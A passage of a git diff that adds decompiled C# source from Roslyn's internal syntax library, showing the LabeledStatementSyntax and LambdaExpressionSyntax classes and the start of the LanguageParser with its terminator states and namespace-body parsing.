b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LabeledStatementSyntax.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LabeledStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken colonToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken Identifier => identifier; + + public SyntaxToken ColonToken => colonToken; + + public StatementSyntax Statement => statement; + + internal LabeledStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal LabeledStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal LabeledStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => identifier, + 2 => colonToken, + 3 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLabeledStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLabeledStatement(this); + } + + public LabeledStatementSyntax Update(SyntaxList attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || identifier != Identifier || colonToken != ColonToken || statement != Statement) + { + LabeledStatementSyntax labeledStatementSyntax = SyntaxFactory.LabeledStatement(attributeLists, identifier, colonToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + labeledStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(labeledStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + labeledStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(labeledStatementSyntax, (IEnumerable)annotations); + } + return labeledStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LabeledStatementSyntax(base.Kind, attributeLists, identifier, colonToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LabeledStatementSyntax(base.Kind, attributeLists, identifier, colonToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LabeledStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static LabeledStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LabeledStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LabeledStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LambdaExpressionSyntax.cs new file mode 100644 index 0000000..dfa1cba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LambdaExpressionSyntax.cs @@ -0,0 +1,26 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class LambdaExpressionSyntax : AnonymousFunctionExpressionSyntax +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxToken ArrowToken { get; } + + internal LambdaExpressionSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal LambdaExpressionSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected LambdaExpressionSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LanguageParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LanguageParser.cs new file mode 100644 index 0000000..4fb3675 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LanguageParser.cs @@ -0,0 +1,11587 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class LanguageParser : SyntaxParser +{ + [Flags] + internal enum TerminatorState + { + EndOfFile = 0, + IsNamespaceMemberStartOrStop = 1, + IsAttributeDeclarationTerminator = 2, + IsPossibleAggregateClauseStartOrStop = 4, + IsPossibleMemberStartOrStop = 8, + IsEndOfReturnType = 0x10, + IsEndOfParameterList = 0x20, + IsEndOfFieldDeclaration = 0x40, + IsPossibleEndOfVariableDeclaration = 0x80, + IsEndOfTypeArgumentList = 0x100, + IsPossibleStatementStartOrStop = 0x200, + IsEndOfFixedStatement = 0x400, + IsEndOfTryBlock = 0x800, + IsEndOfCatchClause = 0x1000, + IsEndOfFilterClause = 0x2000, + IsEndOfCatchBlock = 0x4000, + IsEndOfDoWhileExpression = 0x8000, + IsEndOfForStatementArgument = 0x10000, + IsEndOfDeclarationClause = 0x20000, + IsEndOfArgumentList = 0x40000, + IsSwitchSectionStart = 0x80000, + IsEndOfTypeParameterList = 0x100000, + IsEndOfMethodSignature = 0x200000, + IsEndOfNameInExplicitInterface = 0x400000, + IsEndOfFunctionPointerParameterList = 0x800000, + IsEndOfFunctionPointerParameterListErrored = 0x1000000, + IsEndOfFunctionPointerCallingConvention = 0x2000000, + IsEndOfRecordOrClassOrStructOrInterfaceSignature = 0x4000000, + IsExpressionOrPatternInCaseLabelOfSwitchStatement = 0x8000000, + IsPatternInSwitchExpressionArm = 0x10000000 + } + + private struct NamespaceBodyBuilder(SyntaxListPool pool) + { + public SyntaxListBuilder Externs = pool.Allocate(); + + public SyntaxListBuilder Usings = pool.Allocate(); + + public SyntaxListBuilder Attributes = pool.Allocate(); + + public SyntaxListBuilder Members = pool.Allocate(); + + internal void Free(SyntaxListPool pool) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + pool.Free(SyntaxListBuilder.op_Implicit(Members)); + pool.Free(SyntaxListBuilder.op_Implicit(Attributes)); + pool.Free(SyntaxListBuilder.op_Implicit(Usings)); + pool.Free(SyntaxListBuilder.op_Implicit(Externs)); + } + } + + private enum NamespaceParts + { + None, + ExternAliases, + Usings, + GlobalAttributes, + MembersAndStatements, + TypesAndNamespaces, + TopLevelStatementsAfterTypesAndNamespaces + } + + private enum PostSkipAction + { + Continue, + Abort + } + + [Flags] + private enum VariableFlags + { + Fixed = 1, + Const = 2, + LocalOrField = 4 + } + + [Flags] + private enum NameOptions + { + None = 0, + InExpression = 1, + InTypeList = 2, + PossiblePattern = 4, + AfterIs = 8, + DefinitePattern = 0x10, + AfterOut = 0x20, + AfterTupleComma = 0x40, + FirstElementOfPossibleTupleLiteral = 0x80 + } + + private enum ScanTypeArgumentListKind + { + NotTypeArgumentList, + PossibleTypeArgumentList, + DefiniteTypeArgumentList + } + + private enum ScanTypeFlags + { + NotType, + MustBeType, + GenericTypeOrMethod, + GenericTypeOrExpression, + NonGenericTypeOrExpression, + AliasQualifiedName, + NullableType, + PointerOrMultiplication, + TupleType + } + + private enum ParseTypeMode + { + Normal, + Parameter, + AfterIs, + DefinitePattern, + AfterOut, + AfterRef, + AfterTupleComma, + AsExpression, + NewExpression, + FirstElementOfPossibleTupleLiteral + } + + private enum Precedence : uint + { + Expression = 0u, + Assignment = 0u, + Lambda = 0u, + Conditional = 1u, + Coalescing = 2u, + ConditionalOr = 3u, + ConditionalAnd = 4u, + LogicalOr = 5u, + LogicalXor = 6u, + LogicalAnd = 7u, + Equality = 8u, + Relational = 9u, + Shift = 10u, + Additive = 11u, + Multiplicative = 12u, + Switch = 13u, + Range = 14u, + Unary = 15u, + Cast = 16u, + PointerIndirection = 17u, + AddressOf = 18u, + Primary = 19u + } + + private delegate PostSkipAction SkipBadTokens(LanguageParser parser, ref SyntaxToken openToken, SeparatedSyntaxListBuilder builder, SyntaxKind expectedKind, SyntaxKind closeTokenKind) where TNode : GreenNode; + + private ref struct DisposableResetPoint(LanguageParser languageParser, bool resetOnDispose, ResetPoint resetPoint) + { + private readonly LanguageParser _languageParser = languageParser; + + private readonly bool _resetOnDispose = resetOnDispose; + + private ResetPoint _resetPoint = resetPoint; + + public void Reset() + { + _languageParser.Reset(ref _resetPoint); + } + + public void Dispose() + { + if (_resetOnDispose) + { + Reset(); + } + _languageParser.Release(ref _resetPoint); + } + } + + private new struct ResetPoint + { + internal SyntaxParser.ResetPoint BaseResetPoint; + + internal readonly TerminatorState TerminatorState; + + internal readonly bool IsInAsync; + + internal readonly bool IsInQuery; + + internal ResetPoint(SyntaxParser.ResetPoint resetPoint, TerminatorState terminatorState, bool isInAsync, bool isInQuery) + { + BaseResetPoint = resetPoint; + TerminatorState = terminatorState; + IsInAsync = isInAsync; + IsInQuery = isInQuery; + } + } + + private readonly SyntaxListPool _pool = new SyntaxListPool(); + + private readonly SyntaxFactoryContext _syntaxFactoryContext; + + private readonly ContextAwareSyntax _syntaxFactory; + + private int _recursionDepth; + + private TerminatorState _termState; + + private const int LastTerminatorState = 268435456; + + private bool IsCurrentTokenQueryContextualKeyword => IsTokenQueryContextualKeyword(base.CurrentToken); + + [Obsolete("Use IsIncrementalAndFactoryContextMatches")] + private new bool IsIncremental + { + get + { + throw new Exception("Use IsIncrementalAndFactoryContextMatches"); + } + } + + private bool IsIncrementalAndFactoryContextMatches + { + get + { + if (!base.IsIncremental) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode currentNode = base.CurrentNode; + if (currentNode != null) + { + return MatchesFactoryContext(((SyntaxNode)currentNode).Green, _syntaxFactoryContext); + } + return false; + } + } + + private bool IsInAsync + { + get + { + return _syntaxFactoryContext.IsInAsync; + } + set + { + _syntaxFactoryContext.IsInAsync = value; + } + } + + private bool ForceConditionalAccessExpression + { + get + { + return _syntaxFactoryContext.ForceConditionalAccessExpression; + } + set + { + _syntaxFactoryContext.ForceConditionalAccessExpression = value; + } + } + + private bool IsInQuery + { + get + { + return _syntaxFactoryContext.IsInQuery; + } + set + { + _syntaxFactoryContext.IsInQuery = value; + } + } + + internal LanguageParser(Lexer lexer, Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode? oldTree, IEnumerable? changes, LexerMode lexerMode = LexerMode.Syntax, CancellationToken cancellationToken = default(CancellationToken)) + : base(lexer, lexerMode, oldTree, changes, allowModeReset: false, preLexIfNotIncremental: true, cancellationToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected O, but got Unknown + _syntaxFactoryContext = new SyntaxFactoryContext(); + _syntaxFactory = new ContextAwareSyntax(_syntaxFactoryContext); + } + + private static bool IsSomeWord(SyntaxKind kind) + { + if (kind != SyntaxKind.IdentifierToken) + { + return SyntaxFacts.IsKeywordKind(kind); + } + return true; + } + + private bool IsTerminator() + { + if (base.CurrentToken.Kind == SyntaxKind.EndOfFileToken) + { + return true; + } + for (int num = 1; num <= 268435456; num <<= 1) + { + switch ((TerminatorState)((uint)_termState & (uint)num)) + { + case TerminatorState.IsNamespaceMemberStartOrStop: + if (!IsNamespaceMemberStartOrStop()) + { + continue; + } + break; + case TerminatorState.IsAttributeDeclarationTerminator: + if (!IsAttributeDeclarationTerminator()) + { + continue; + } + break; + case TerminatorState.IsPossibleAggregateClauseStartOrStop: + if (!IsPossibleAggregateClauseStartOrStop()) + { + continue; + } + break; + case TerminatorState.IsPossibleMemberStartOrStop: + if (!IsPossibleMemberStartOrStop()) + { + continue; + } + break; + case TerminatorState.IsEndOfReturnType: + if (!IsEndOfReturnType()) + { + continue; + } + break; + case TerminatorState.IsEndOfParameterList: + if (!IsEndOfParameterList()) + { + continue; + } + break; + case TerminatorState.IsEndOfFieldDeclaration: + if (!IsEndOfFieldDeclaration()) + { + continue; + } + break; + case TerminatorState.IsPossibleEndOfVariableDeclaration: + if (!IsPossibleEndOfVariableDeclaration()) + { + continue; + } + break; + case TerminatorState.IsEndOfTypeArgumentList: + if (!IsEndOfTypeArgumentList()) + { + continue; + } + break; + case TerminatorState.IsPossibleStatementStartOrStop: + if (!IsPossibleStatementStartOrStop()) + { + continue; + } + break; + case TerminatorState.IsEndOfFixedStatement: + if (!IsEndOfFixedStatement()) + { + continue; + } + break; + case TerminatorState.IsEndOfTryBlock: + if (!IsEndOfTryBlock()) + { + continue; + } + break; + case TerminatorState.IsEndOfCatchClause: + if (!IsEndOfCatchClause()) + { + continue; + } + break; + case TerminatorState.IsEndOfFilterClause: + if (!IsEndOfFilterClause()) + { + continue; + } + break; + case TerminatorState.IsEndOfCatchBlock: + if (!IsEndOfCatchBlock()) + { + continue; + } + break; + case TerminatorState.IsEndOfDoWhileExpression: + if (!IsEndOfDoWhileExpression()) + { + continue; + } + break; + case TerminatorState.IsEndOfForStatementArgument: + if (!IsEndOfForStatementArgument()) + { + continue; + } + break; + case TerminatorState.IsEndOfDeclarationClause: + if (!IsEndOfDeclarationClause()) + { + continue; + } + break; + case TerminatorState.IsEndOfArgumentList: + if (!IsEndOfArgumentList()) + { + continue; + } + break; + case TerminatorState.IsSwitchSectionStart: + if (!IsPossibleSwitchSection()) + { + continue; + } + break; + case TerminatorState.IsEndOfTypeParameterList: + if (!IsEndOfTypeParameterList()) + { + continue; + } + break; + case TerminatorState.IsEndOfMethodSignature: + if (!IsEndOfMethodSignature()) + { + continue; + } + break; + case TerminatorState.IsEndOfNameInExplicitInterface: + if (!IsEndOfNameInExplicitInterface()) + { + continue; + } + break; + case TerminatorState.IsEndOfFunctionPointerParameterList: + if (!IsEndOfFunctionPointerParameterList(errored: false)) + { + continue; + } + break; + case TerminatorState.IsEndOfFunctionPointerParameterListErrored: + if (!IsEndOfFunctionPointerParameterList(errored: true)) + { + continue; + } + break; + case TerminatorState.IsEndOfFunctionPointerCallingConvention: + if (!IsEndOfFunctionPointerCallingConvention()) + { + continue; + } + break; + case TerminatorState.IsEndOfRecordOrClassOrStructOrInterfaceSignature: + if (!IsEndOfRecordOrClassOrStructOrInterfaceSignature()) + { + continue; + } + break; + default: + continue; + } + return true; + } + return false; + } + + private static Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode? GetOldParent(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node) + { + return node?.Parent; + } + + internal CompilationUnitSyntax ParseCompilationUnit() + { + return ParseWithStackGuard((LanguageParser @this) => @this.ParseCompilationUnitCore(), (LanguageParser @this) => SyntaxFactory.CompilationUnit(default(SyntaxList), default(SyntaxList), default(SyntaxList), default(SyntaxList), SyntaxFactory.Token(SyntaxKind.EndOfFileToken))); + } + + internal CompilationUnitSyntax ParseCompilationUnitCore() + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceOrSemicolon = null; + SyntaxListBuilder initialBadNodes = null; + NamespaceBodyBuilder body = new NamespaceBodyBuilder(_pool); + try + { + ParseNamespaceBody(ref openBraceOrSemicolon, ref body, ref initialBadNodes, SyntaxKind.CompilationUnit); + SyntaxToken endOfFileToken = EatToken(SyntaxKind.EndOfFileToken); + CompilationUnitSyntax compilationUnitSyntax = _syntaxFactory.CompilationUnit(SyntaxListBuilder.op_Implicit(body.Externs), SyntaxListBuilder.op_Implicit(body.Usings), SyntaxListBuilder.op_Implicit(body.Attributes), SyntaxListBuilder.op_Implicit(body.Members), endOfFileToken); + if (initialBadNodes != null) + { + compilationUnitSyntax = AddLeadingSkippedSyntax(compilationUnitSyntax, initialBadNodes.ToListNode()); + _pool.Free(initialBadNodes); + } + return compilationUnitSyntax; + } + finally + { + body.Free(_pool); + } + } + + internal TNode ParseWithStackGuard(Func parseFunc, Func createEmptyNodeFunc) where TNode : CSharpSyntaxNode + { + try + { + return parseFunc(this); + } + catch (InsufficientExecutionStackException) + { + return CreateForGlobalFailure(lexer.TextWindow.Position, createEmptyNodeFunc(this)); + } + } + + private TNode CreateForGlobalFailure(int position, TNode node) where TNode : CSharpSyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = new SyntaxListBuilder(1); + val.Add((GreenNode)(object)SyntaxFactory.BadToken(null, ((object)lexer.TextWindow.Text).ToString(), null)); + SkippedTokensTriviaSyntax skippedSyntax = _syntaxFactory.SkippedTokensTrivia(val.ToList()); + node = AddLeadingSkippedSyntax(node, (GreenNode)(object)skippedSyntax); + ForceEndOfFile(); + return AddError(node, position, 0, ErrorCode.ERR_InsufficientStack); + } + + private BaseNamespaceDeclarationSyntax ParseNamespaceDeclaration(SyntaxList attributeLists, SyntaxListBuilder modifiers) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + BaseNamespaceDeclarationSyntax result = ParseNamespaceDeclarationCore(attributeLists, modifiers); + _recursionDepth--; + return result; + } + + private BaseNamespaceDeclarationSyntax ParseNamespaceDeclarationCore(SyntaxList attributeLists, SyntaxListBuilder modifiers) + { + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = EatToken(SyntaxKind.NamespaceKeyword); + if (base.IsScript) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_NamespaceNotAllowedInScript); + } + NameSyntax name = ParseQualifiedName(); + SyntaxToken openBraceOrSemicolon = null; + SyntaxToken openBraceOrSemicolon2 = null; + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + openBraceOrSemicolon2 = EatToken(SyntaxKind.SemicolonToken); + } + else if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken || IsPossibleNamespaceMemberDeclaration()) + { + openBraceOrSemicolon = EatToken(SyntaxKind.OpenBraceToken); + } + else + { + openBraceOrSemicolon = EatTokenWithPrejudice(SyntaxKind.OpenBraceToken); + openBraceOrSemicolon = ConvertToMissingWithTrailingTrivia(openBraceOrSemicolon, SyntaxKind.OpenBraceToken); + } + NamespaceBodyBuilder body = new NamespaceBodyBuilder(_pool); + try + { + if (openBraceOrSemicolon == null) + { + SyntaxListBuilder initialBadNodes = null; + ParseNamespaceBody(ref openBraceOrSemicolon2, ref body, ref initialBadNodes, SyntaxKind.FileScopedNamespaceDeclaration); + return _syntaxFactory.FileScopedNamespaceDeclaration(attributeLists, SyntaxList.op_Implicit(modifiers.ToList()), syntaxToken, name, openBraceOrSemicolon2, SyntaxListBuilder.op_Implicit(body.Externs), SyntaxListBuilder.op_Implicit(body.Usings), SyntaxListBuilder.op_Implicit(body.Members)); + } + SyntaxListBuilder initialBadNodes2 = null; + ParseNamespaceBody(ref openBraceOrSemicolon, ref body, ref initialBadNodes2, SyntaxKind.NamespaceDeclaration); + return _syntaxFactory.NamespaceDeclaration(attributeLists, SyntaxList.op_Implicit(modifiers.ToList()), syntaxToken, name, openBraceOrSemicolon, SyntaxListBuilder.op_Implicit(body.Externs), SyntaxListBuilder.op_Implicit(body.Usings), SyntaxListBuilder.op_Implicit(body.Members), EatToken(SyntaxKind.CloseBraceToken), TryEatToken(SyntaxKind.SemicolonToken)); + } + finally + { + body.Free(_pool); + } + } + + private static bool IsPossibleStartOfTypeDeclaration(SyntaxKind kind) + { + if (!IsTypeModifierOrTypeKeyword(kind)) + { + return kind == SyntaxKind.OpenBracketToken; + } + return true; + } + + private static bool IsTypeModifierOrTypeKeyword(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PublicKeyword: + case SyntaxKind.PrivateKeyword: + case SyntaxKind.InternalKeyword: + case SyntaxKind.ProtectedKeyword: + case SyntaxKind.StaticKeyword: + case SyntaxKind.SealedKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.AbstractKeyword: + case SyntaxKind.ClassKeyword: + case SyntaxKind.StructKeyword: + case SyntaxKind.InterfaceKeyword: + case SyntaxKind.EnumKeyword: + case SyntaxKind.DelegateKeyword: + case SyntaxKind.UnsafeKeyword: + return true; + default: + return false; + } + } + + private void AddSkippedNamespaceText(ref SyntaxToken? openBraceOrSemicolon, ref NamespaceBodyBuilder body, ref SyntaxListBuilder? initialBadNodes, CSharpSyntaxNode skippedSyntax) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + if (body.Members.Count > 0) + { + AddTrailingSkippedSyntax(body.Members, (GreenNode)(object)skippedSyntax); + return; + } + if (body.Attributes.Count > 0) + { + AddTrailingSkippedSyntax(body.Attributes, (GreenNode)(object)skippedSyntax); + return; + } + if (body.Usings.Count > 0) + { + AddTrailingSkippedSyntax(body.Usings, (GreenNode)(object)skippedSyntax); + return; + } + if (body.Externs.Count > 0) + { + AddTrailingSkippedSyntax(body.Externs, (GreenNode)(object)skippedSyntax); + return; + } + if (openBraceOrSemicolon != null) + { + openBraceOrSemicolon = AddTrailingSkippedSyntax(openBraceOrSemicolon, (GreenNode)(object)skippedSyntax); + return; + } + if (initialBadNodes == null) + { + initialBadNodes = _pool.Allocate(); + } + initialBadNodes.AddRange(SyntaxList.op_Implicit((GreenNode)(object)skippedSyntax)); + } + + private void ParseNamespaceBody([NotNullIfNotNull("openBraceOrSemicolon")] ref SyntaxToken? openBraceOrSemicolon, ref NamespaceBodyBuilder body, ref SyntaxListBuilder? initialBadNodes, SyntaxKind parentKind) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_037c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_02a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0359: Unknown result type (might be due to invalid IL or missing references) + //IL_0333: Unknown result type (might be due to invalid IL or missing references) + bool flag = openBraceOrSemicolon == null; + TerminatorState termState = _termState; + _termState |= TerminatorState.IsNamespaceMemberStartOrStop; + NamespaceParts seen = NamespaceParts.None; + SyntaxListBuilder pendingIncompleteMembers = _pool.Allocate(); + bool flag2 = true; + try + { + while (true) + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.NamespaceKeyword: + { + AddIncompleteMembers(ref pendingIncompleteMembers, ref body); + SyntaxListBuilder val = _pool.Allocate(); + SyntaxListBuilder val2 = _pool.Allocate(); + body.Members.Add(adjustStateAndReportStatementOutOfOrder(ref seen, ParseNamespaceDeclaration(SyntaxListBuilder.op_Implicit(val), val2))); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + _pool.Free(val2); + flag2 = true; + continue; + } + case SyntaxKind.CloseBraceToken: + if (flag) + { + ReduceIncompleteMembers(ref pendingIncompleteMembers, ref openBraceOrSemicolon, ref body, ref initialBadNodes); + SyntaxToken node = EatToken(); + node = AddError(node, base.IsScript ? ErrorCode.ERR_GlobalDefinitionOrStatementExpected : ErrorCode.ERR_EOFExpected); + AddSkippedNamespaceText(ref openBraceOrSemicolon, ref body, ref initialBadNodes, node); + flag2 = true; + continue; + } + return; + case SyntaxKind.EndOfFileToken: + return; + case SyntaxKind.ExternKeyword: + if (!flag || ScanExternAliasDirective()) + { + ReduceIncompleteMembers(ref pendingIncompleteMembers, ref openBraceOrSemicolon, ref body, ref initialBadNodes); + ExternAliasDirectiveSyntax externAliasDirectiveSyntax = ParseExternAliasDirective(); + if (seen > NamespaceParts.ExternAliases) + { + externAliasDirectiveSyntax = AddErrorToFirstToken(externAliasDirectiveSyntax, ErrorCode.ERR_ExternAfterElements); + AddSkippedNamespaceText(ref openBraceOrSemicolon, ref body, ref initialBadNodes, externAliasDirectiveSyntax); + } + else + { + 